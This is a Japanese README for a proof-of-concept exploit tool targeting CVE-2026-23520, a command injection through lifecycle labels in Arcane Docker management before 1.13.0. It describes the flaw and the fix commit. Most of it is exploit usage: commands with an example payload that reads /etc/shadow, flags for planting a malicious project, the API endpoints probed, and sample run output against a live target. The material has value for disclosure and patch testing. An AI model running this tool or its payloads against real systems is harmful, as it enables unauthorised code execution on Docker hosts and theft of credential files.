
CVE-2026-23520の概念実証エクスプロイト。Arcane Docker管理におけるライフサイクルラベルのOSコマンドインジェクションを介した認証済みRCEです。チェック、エクスプロイト、生成の各モードを含みます。
Arcane Docker Management における OS コマンドインジェクション(< 1.13.0)
Arcane は、モダンな Web ベースの Docker 管理プラットフォームです。1.13.0 より前のバージョンは、アップデーターサービスのライフサイクルラベルにおける OS コマンドインジェクションにより、認証済みユーザーによる リモートコード実行(RCE) に対して脆弱です。
アップデーターサービスは、以下の 2 つの Docker コンテナラベルをサポートしていました:
| ラベル | トリガー |
|---|
com.getarcaneapp.arcane.lifecycle.pre-update | コンテナ更新前 |
com.getarcaneapp.arcane.lifecycle.post-update | コンテナ更新後 |
ラベルの値は、サニタイズなしで 直接 /bin/sh -c に渡されます。管理者だけでなく任意の認証済みユーザー が API を通じてプロジェクトを作成できるため、攻撃者は悪意のあるプロジェクトを仕掛けることができます。その後、管理者がコンテナ更新をトリガーすると、注入されたコマンドがコンテナ内で実行されます — ボリュームマウントが存在する場合はホスト上でも実行される可能性があります。
攻撃者(低権限ユーザー) Arcane サーバー
──────────────────────── ──────────────
1. 認証(任意のユーザー) ──────────► JWT 発行
2. 悪意のあるライフサイクルラベルを ラベル付きプロジェクトが
含むプロジェクトを作成 ──────────► 保存される
│
┌───────────────────────────────────┘
│ 3. 管理者がコンテナ更新をトリガー
▼
Arcane アップデーターがラベル値を読み取る
それを /bin/sh -c に渡す
│
▼
*** 任意のコマンド実行 ***
(コンテナスコープ、またはボリュームがマウントされている場合はホスト)
| ステータス | バージョン |
|---|---|
| 脆弱 | Arcane < 1.13.0 |
| 修正済み | Arcane ≥ 1.13.0 |
修正(コミット 5a9c2f9)では、攻撃対象領域を排除するためにライフサイクルラベル機能が完全に削除されています。
urllib のみを使用し、Python 3.10+ であれば動作check(フィンガープリント)、exploit(展開)、generate(オフライン compose ファイル)-v)— どのエンドポイントをプロービングしているか、何が返ってくるかを正確に表示python3 poc_cve_2026_23520.py check -t <TARGET_IP>
python3 poc_cve_2026_23520.py exploit \
-t <TARGET_IP> \
-u <USERNAME> \
-p <PASSWORD> \
--payload "id"
python3 poc_cve_2026_23520.py generate --payload "cat /etc/shadow"
python3 poc_cve_2026_23520.py -v check -t <TARGET_IP>
usage: poc_cve_2026_23520.py [-h] [-v] {exploit,check,generate} ...
positional arguments:
{exploit,check,generate}
exploit Arcane API 経由で悪意のあるプロジェクトを展開
check Arcane をフィンガープリントし、脆弱かどうかを確認
generate 悪意のある compose ファイルを生成(ネットワーク不要)
options:
-h, --help このヘルプメッセージを表示して終了
-v, --verbose プロービングのデバッグ出力を表示
エクスプロイトフラグ:
| フラグ | 説明 | デフォルト |
|---|---|---|
-t, --target | Arcane ホスト(IP またはホスト名) | 必須 |
-P, --port | Arcane ポート | 3552 |
-u, --username | 任意の認証済み Arcane ユーザー | 必須 |
-p, --password | ユーザーパスワード | 必須 |
--payload | 注入するシェルコマンド | id |
--hook | pre または post 更新フック | pre |
--project-name | 悪意のあるプロジェクトの名前 | poc-cve-2026-23520 |
--env-id | 環境 ID(省略時は自動検出) | auto |
--scheme | http または https | http |
--no-verify | TLS 証明書の検証をスキップ | off |
このスクリプトは単一の API パスをハードコードしません。代わりに、各操作に対して複数の既知のパスを静かにプロービングし、最初にヒットしたパスで停止します:
| 操作 | 試行するエンドポイント |
|---|---|
| バージョン | /api/version, /api/system/version, /api/v1/version, /api/settings/version, /api/status, /api/health, /api/info |
| 認証 | /api/auth/login, /api/login, /api/v1/auth/login, /api/auth/signin, /api/users/login |
| 環境 | /api/environments, /api/v1/environments, /api/endpoints, /api/v1/endpoints |
| プロジェクト作成 | /api/environments/{id}/projects, /api/v1/environments/{id}/projects, /api/projects, /api/v1/projects など |
レスポンスキーも柔軟に照合されます(例:currentVersion、version、Version、serverVersion — ネストされたオブジェクトや大文字小文字を区別しない検索を含む)。
╔═══════════════════════════════════════════════════════╗
║ CVE-2026-23520 PoC Exploit ║
║ Arcane < 1.13.0 — Lifecycle Label RCE ║
╚═══════════════════════════════════════════════════════╝
── Step 1 · ターゲットのフィンガープリント ──
[*] Target: http://10.129.7.208:3552
[*] バージョンエンドポイントをプロービング中 …
[+] /api/version 経由でバージョンを検出
[+] Arcane バージョン: v1.12.4
[+] バージョン v1.12.4 は < 1.13.0 — 脆弱
── Step 2 · 認証 ──
[*] 攻撃者として認証中 …
[+] /api/auth/login 経由で JWT を取得
── Step 3 · 環境の検出 ──
[*] 環境エンドポイントをプロービング中 …
[+] /api/environments 経由で 1 つの環境を検出
[*] → 1 (local)
[+] 環境を使用: 1
── Step 4 · 悪意のあるプロジェクトの仕込み ──
[*] ライフサイクルラベルにペイロードを注入: pre-update
[*] Label : com.getarcaneapp.arcane.lifecycle.pre-update
[*] Value : id
[+] /api/environments/1/projects 経由でプロジェクトを作成
── エクスプロイトの仕込みが完了 ──
[+] 悪意のあるプロジェクトは更新トリガーを待機中です。
5a9c2f9このツールは 認可されたセキュリティテストおよび教育目的のみ で提供されます。コンピュータシステムへの不正アクセスは違法です。作者は誤用について一切の責任を負いません。所有しているシステム、または明示的な書面によるテスト許可を得たシステムに対してのみ使用してください。
MIT